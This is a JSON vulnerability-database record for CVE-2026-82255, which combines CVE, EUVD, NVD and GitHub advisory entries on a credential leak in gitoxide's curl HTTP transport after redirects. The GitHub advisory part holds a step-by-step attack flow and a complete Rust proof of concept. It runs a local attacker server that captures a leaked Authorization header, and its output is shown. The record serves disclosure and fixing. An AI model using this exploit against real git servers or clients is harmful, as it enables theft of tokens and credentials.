{"id":"CVE-2026-82255","revision":null,"records":[{"revision":"5c37127ce83944cc83e11c594abb5bc9","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-82255","aliases":[],"title":"gitoxide 0.25.4 HTTP Credential Leak via Redirect","description":"gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.","state":0,"publishedAt":"2026-08-28T10:49:38.916+00:00","modifiedAt":"2026-09-30T17:20:31.376+00:00","affected":[{"ecosystem":"Vendor product","name":"gitoxide","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"GitoxideLabs\",\n                    \"product\": \"gitoxide\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:cargo/gix-transport\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0.25.4\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThanOrEqual\": \"0.55.0\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","score":6.8,"severity":"MEDIUM"}],"references":["https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m","https://www.vulncheck.com/advisories/gitoxide-0.25.4-http-credential-leak-via-redirect"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-82255","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-82255","identifiers":["CVE-2026-82255"]},"retained":false,"historicalAffected":[]},{"revision":"929b840d95d64b6d8fe361bf5a417937","observedAt":"2026-11-11T16:10:44.26+00:00","statement":{"source":"euvd","id":"EUVD-2026-67581","aliases":["CVE-2026-82255","GHSA-2r3q-w7g9-8rpr"],"title":"gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential vali…","description":"gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.6,"severity":null}],"references":["https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m","https://www.vulncheck.com/advisories/gitoxide-0.25.4-http-credential-leak-via-redirect"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-67581","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 28, 2026, 10:49:38 AM","dateUpdated":"Sep 30, 2026, 5:20:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-67581","identifiers":["EUVD-2026-67581","CVE-2026-82255","GHSA-2r3q-w7g9-8rpr"]},"retained":false,"historicalAffected":[]},{"revision":"bd21aa272e6c4ebfa4e66c7d3476b426","observedAt":"2026-10-25T16:19:10.271+00:00","statement":{"source":"nvd","id":"CVE-2026-82255","aliases":[],"title":"gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential vali…","description":"gitoxide versions from 0.25.4 contain an HTTP credential leak vulnerability in the curl-based transport backend where credentials are sent to attacker-controlled servers after HTTP redirects. The vulnerability occurs because credential validation checks the original URL instead of the effective URL after redirect, allowing attackers to steal authentication tokens through cross-domain redirects or HTTPS-to-HTTP downgrades.","state":0,"publishedAt":"2026-08-28T12:16:38.317+00:00","modifiedAt":"2026-09-30T18:18:41.323+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.6,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","score":6.8,"severity":"MEDIUM"}],"references":["https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m","https://www.vulncheck.com/advisories/gitoxide-0.25.4-http-credential-leak-via-redirect"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82255","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-522"],"productCriteria":[],"sourceDates":{"published":"2026-08-28T12:16:38.317","lastModified":"2026-09-30T18:18:41.323"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-82255","identifiers":["CVE-2026-82255"]},"retained":false,"historicalAffected":[]},{"revision":"91025fda1a534df99e8df3a171f7c5ba","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-9857-6mw7-fq2m","aliases":["CVE-2026-82255"],"title":"gix-transport: HTTP credentials leaked to redirected host in curl backend","description":"## Summary\n\nThe curl-based HTTP transport in `gix-transport` sends user credentials (passwords, tokens) to an attacker-controlled server after an HTTP redirect. When a server responds with a 302 redirect during the initial `GET /info/refs`, gitoxide records the redirected base URL and rewrites all subsequent requests to point at the redirected host. The `Authorization` header is still attached because `add_basic_auth_if_present()` only checks `self.url` (the original, never-updated URL).\n\nThe reqwest backend is not affected. Its custom redirect policy at `reqwest/remote.rs` lines 60-64 compares `prev_url.host_str()` to `curr_url.host_str()` and calls `attempt.stop()` on cross-domain redirects, so `redirected_base_url` is never set to a different host.\n\n## Details\n\nThe vulnerability involves two components in `gix-transport`:\n\n**1. URL rewriting after redirect** ([gix-transport/src/client/blocking_io/http/curl/remote.rs](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/curl/remote.rs))\n\nAfter a request completes, the effective URL is compared to the requested URL. If they differ (redirect occurred), the new base URL is stored (lines 355-359). On subsequent requests, `swap_tails()` rewrites the target URL to point at the redirected host (line 166).\n\n**2. Credential check uses original URL** ([gix-transport/src/client/blocking_io/http/mod.rs, lines 293-312](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-transport/src/client/blocking_io/http/mod.rs#L293))\n\n`add_basic_auth_if_present()` checks `self.url` (set once during construction, never mutated) to decide whether to attach credentials. Since `self.url` always points to the original host, credentials are approved even when the actual request goes to the redirected (attacker) host.\n\nThe `Authorization` header is added to the headers list in `handshake()` (line 374) and `request()` (line 434) before being passed to the backend, which applies them to the rewritten URL via `handle.http_headers(headers)` (line 309).\n\n### Attack flow: cross-domain credential leak\n\n1. Victim clones `https://legitimate.com/repo` with credentials configured\n2. Server returns 302 redirect on `GET /info/refs` to `https://attacker.com/...`\n3. Curl follows the redirect and strips `Authorization` for this GET (safe so far)\n4. Attacker serves a valid info/refs response; `redirected_base_url` is set\n5. `POST /git-upload-pack` is rewritten via `swap_tails()` to `attacker.com`\n6. `add_basic_auth_if_present()` checks `self.url` (still `legitimate.com`), approves credential sending\n7. `Authorization: Basic <credentials>` is sent to `attacker.com`\n\nCurl's cross-domain header stripping only protects the redirected GET. It does not protect the POST, which is a new request with credentials re-attached by gitoxide.\n\n### Secondary vector: HTTPS-to-HTTP downgrade\n\nThe cleartext protection at `mod.rs` line 300-305 also checks `self.url`:\n\n```rust\nif self.url.starts_with(\"http://\") {\n    return Err(client::Error::AuthenticationRefused(\"...\"));\n}\n```\n\nThis only validates the original URL's scheme, not the effective URL after redirect. A redirect from `https://legitimate.com` to `http://attacker.com` bypasses this check, causing credentials to be sent in cleartext over HTTP.\n\n1. Victim clones `https://legitimate.com/repo` with credentials\n2. Server redirects to `http://attacker.com/...` (note: HTTP, not HTTPS)\n3. `add_basic_auth_if_present()` checks `self.url` (still `https://`), allows credentials\n4. `Authorization` header is sent over unencrypted HTTP to `attacker.com`\n\n## PoC\n\nA complete Rust project that reproduces the issue. It starts two local TCP servers (legitimate on :8080, attacker on :9090) and uses `gix-transport` to demonstrate the credential leak.\n\n**To run:** Create the project next to the gitoxide checkout so path dependencies resolve, then `cargo run`.\n\n<details>\n<summary>Cargo.toml</summary>\n\n```toml\n[package]\nname = \"poc-gitoxide-redirect\"\nversion = \"0.1.0\"\nedition = \"2021\"\n\n[dependencies]\n# http-client-insecure-credentials is only needed because the PoC uses http://\n# to avoid TLS setup. A real attack would use https:// and not require this feature.\ngix-transport = { path = \"../gitoxide/gix-transport\", features = [\"http-client-curl\", \"http-client-insecure-credentials\"] }\ngix-sec = { path = \"../gitoxide/gix-sec\" }\ngix-url = { path = \"../gitoxide/gix-url\" }\ngix-packetline = { path = \"../gitoxide/gix-packetline\", features = [\"blocking-io\"] }\n```\n\n</details>\n\n<details>\n<summary>src/main.rs</summary>\n\n```rust\nuse std::io::{BufRead, BufReader, Write};\nuse std::net::TcpListener;\nuse std::sync::mpsc;\nuse std::thread;\n\nuse gix_transport::client::{self, blocking_io::http, blocking_io::Transport, TransportWithoutIO};\n\nfn main() {\n    println!(\"=== gitoxide HTTP credential leak via redirect ===\\n\");\n\n    let (captured_tx, captured_rx) = mpsc::channel::<Vec<String>>();\n\n    // Attacker server (port 9090): captures credentials\n    let attacker = TcpListener::bind(\"127.0.0.1:9090\").expect(\"bind attacker\");\n    let attacker_handle = thread::spawn(move || {\n        let (mut conn1, _) = attacker.accept().expect(\"accept conn1\");\n        let mut reader1 = BufReader::new(conn1.try_clone().unwrap());\n        let mut headers1 = Vec::new();\n        loop {\n            let mut line = String::new();\n            reader1.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            headers1.push(line.trim().to_string());\n        }\n        println!(\"[attacker] GET /info/refs headers (from redirect):\");\n        for h in &headers1 { println!(\"  {h}\"); }\n\n        let pkt_service = \"001e# service=git-upload-pack\\n\";\n        let pkt_flush = \"0000\";\n        let fake_hash = \"a\".repeat(40);\n        let caps = \"multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag\";\n        let ref_line = format!(\"{fake_hash} HEAD\\0{caps}\\n\");\n        let ref_pkt = format!(\"{:04x}{ref_line}\", ref_line.len() + 4);\n        let body = format!(\"{pkt_service}{pkt_flush}{ref_pkt}{pkt_flush}\");\n        let response = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: application/x-git-upload-pack-advertisement\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{body}\",\n            body.len()\n        );\n        conn1.write_all(response.as_bytes()).unwrap();\n        conn1.flush().unwrap();\n        drop(conn1);\n\n        let (mut conn2, _) = attacker.accept().expect(\"accept conn2\");\n        let mut reader2 = BufReader::new(conn2.try_clone().unwrap());\n        let mut headers2 = Vec::new();\n        let mut content_length: usize = 0;\n        loop {\n            let mut line = String::new();\n            reader2.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n            let trimmed = line.trim().to_string();\n            if let Some(cl) = trimmed.strip_prefix(\"Content-Length: \") {\n                content_length = cl.parse().unwrap_or(0);\n            }\n            headers2.push(trimmed);\n        }\n        if content_length > 0 {\n            let mut body_buf = vec![0u8; content_length];\n            use std::io::Read;\n            reader2.read_exact(&mut body_buf).ok();\n        }\n\n        println!(\"\\n[attacker] POST /git-upload-pack headers:\");\n        for h in &headers2 {\n            let prefix = if h.starts_with(\"Authorization:\") { \"  >>> LEAKED: \" } else { \"  \" };\n            println!(\"{prefix}{h}\");\n        }\n\n        let resp_body = \"0000\";\n        let response2 = format!(\n            \"HTTP/1.1 200 OK\\r\\nContent-Type: application/x-git-upload-pack-result\\r\\nContent-Length: {}\\r\\nConnection: close\\r\\n\\r\\n{resp_body}\",\n            resp_body.len()\n        );\n        conn2.write_all(response2.as_bytes()).unwrap();\n        conn2.flush().unwrap();\n        drop(conn2);\n\n        captured_tx.send(headers2).ok();\n    });\n\n    // Legitimate server (port 8080): redirects to attacker\n    let legit = TcpListener::bind(\"127.0.0.1:8080\").expect(\"bind legit\");\n    let legit_handle = thread::spawn(move || {\n        let (mut conn, _) = legit.accept().expect(\"accept legit\");\n        let mut reader = BufReader::new(conn.try_clone().unwrap());\n        let mut request_line = String::new();\n        reader.read_line(&mut request_line).unwrap();\n        println!(\"[legit] Received: {}\", request_line.trim());\n        loop {\n            let mut line = String::new();\n            reader.read_line(&mut line).unwrap();\n            if line.trim().is_empty() { break; }\n        }\n        let redirect_url = \"http://127.0.0.1:9090/repo.git/info/refs?service=git-upload-pack\";\n        let response = format!(\n            \"HTTP/1.1 302 Found\\r\\nLocation: {redirect_url}\\r\\nContent-Length: 0\\r\\n\\r\\n\"\n        );\n        conn.write_all(response.as_bytes()).unwrap();\n        conn.flush().unwrap();\n        println!(\"[legit] Sent 302 redirect to attacker server\");\n    });\n\n    thread::sleep(std::time::Duration::from_millis(100));\n\n    println!(\"\\n[client] Connecting to http://127.0.0.1:8080/repo.git with credentials...\");\n    let url: gix_url::Url = \"http://127.0.0.1:8080/repo.git\".try_into().expect(\"parse url\");\n    let mut transport: http::Transport<http::curl::Curl> =\n        http::connect(url, gix_transport::Protocol::V1, false);\n    transport\n        .set_identity(gix_sec::identity::Account {\n            username: \"victim-user\".into(),\n            password: \"super-secret-token\".into(),\n            oauth_refresh_token: None,\n        })\n        .expect(\"set identity\");\n\n    println!(\"[client] Performing handshake (GET /info/refs)...\");\n    match transport.handshake(gix_transport::Service::UploadPack, &[]) {\n        Ok(_) => println!(\"[client] Handshake succeeded\"),\n        Err(e) => println!(\"[client] Handshake error: {e}\"),\n    }\n\n    println!(\"[client] Sending request (POST /git-upload-pack)...\");\n    match transport.request(client::WriteMode::Binary, client::MessageKind::Flush, false) {\n        Ok(_writer) => println!(\"[client] Request sent\"),\n        Err(e) => println!(\"[client] Request error: {e}\"),\n    }\n\n    legit_handle.join().ok();\n    attacker_handle.join().ok();\n\n    println!(\"\\n=== RESULT ===\");\n    if let Ok(headers) = captured_rx.recv_timeout(std::time::Duration::from_secs(2)) {\n        let leaked = headers.iter().any(|h| h.starts_with(\"Authorization:\"));\n        if leaked {\n            let auth = headers.iter().find(|h| h.starts_with(\"Authorization:\")).unwrap();\n            println!(\"VULNERABLE: Credentials leaked to attacker server!\");\n            println!(\"Captured: {auth}\");\n        } else {\n            println!(\"NOT VULNERABLE: No credentials captured.\");\n        }\n    } else {\n        println!(\"ERROR: Timed out.\");\n    }\n}\n```\n\n</details>\n\n**Output:**\n\n```\n[attacker] GET /info/refs headers (from redirect):\n  GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  Accept: */*\n  User-Agent: git/oxide-0.55.0\n\n[attacker] POST /git-upload-pack headers:\n  POST /repo.git/git-upload-pack HTTP/1.1\n  Host: 127.0.0.1:9090\n  >>> LEAKED: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n\nVULNERABLE: Credentials leaked to attacker server!\nCaptured: Authorization: Basic dmljdGltLXVzZXI6c3VwZXItc2VjcmV0LXRva2Vu\n```\n\nThe GET (from redirect) has no `Authorization` header. The POST carries the full credentials. The base64 decodes to `victim-user:super-secret-token`.\n\n## Impact\n\nAny user who clones or fetches over HTTP(S) using gitoxide with the curl backend (`http-client-curl` feature) can have their credentials stolen by an attacker who controls a redirect target (via compromised server, DNS hijacking, or MITM). The only user interaction required is initiating the clone or fetch; the redirect and credential leak happen transparently. CI/CD pipelines using tokens are also at risk.\n\n## Suggested Fix\n\n1. Only attach `Authorization` if the effective URL's host matches the original URL's host.\n2. Or block cross-origin redirects in the curl backend, matching reqwest's behavior.\n3. Check the effective URL's scheme (not the original) for the HTTPS-to-HTTP downgrade.","state":0,"publishedAt":"2026-05-05T19:16:35+00:00","modifiedAt":"2026-10-01T03:56:08.0379928+00:00","affected":[{"ecosystem":"crates.io","name":"gix-transport","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.25.4"},{"kind":"fixed","version":"0.56.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-9857-6mw7-fq2m","https://github.com/GitoxideLabs/gitoxide"],"sourceUrl":"https://github.com/advisories/GHSA-9857-6mw7-fq2m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9857-6mw7-fq2m","identifiers":["GHSA-9857-6mw7-fq2m","CVE-2026-82255"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T01:56:45.7331196+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T01:56:45.7331196+00:00","lastSuccessAt":"2026-11-12T01:56:45.8811913+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.881192+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-3c214c6a32247ab2d1d3b316a538911dff65582c6da8e67b65c52a6524920b32","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T01:56:45.0952496+00:00","lastSuccessAt":"2026-11-12T01:56:45.0811877+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.0952496+00:00","snapshotPublishedAt":"2026-11-12T01:20:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bcc8684b65174110b8807dc4d8b03322","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T02:06:55.9169023+00:00","lastSuccessAt":"2026-11-12T02:06:55.913+00:00","error":"671 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T02:06:55.913+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12946,"expectedIdentifiers":13813,"failedIdentifiers":671},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T01:56:45.7331196+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T01:56:45.7331196+00:00","lastSuccessAt":"2026-11-12T01:56:45.8819472+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.8819473+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-94eaf194888848508d3f9f54dac1b6ce","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T01:57:11.1206168+00:00","lastSuccessAt":"2026-11-12T01:57:11.117+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:57:11.117+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T01:56:45.5143298+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.5143298+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T01:56:45.2815945+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.2815945+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T01:56:45.6894904+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.6894904+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T01:56:45.3885824+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T01:56:45.3885824+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}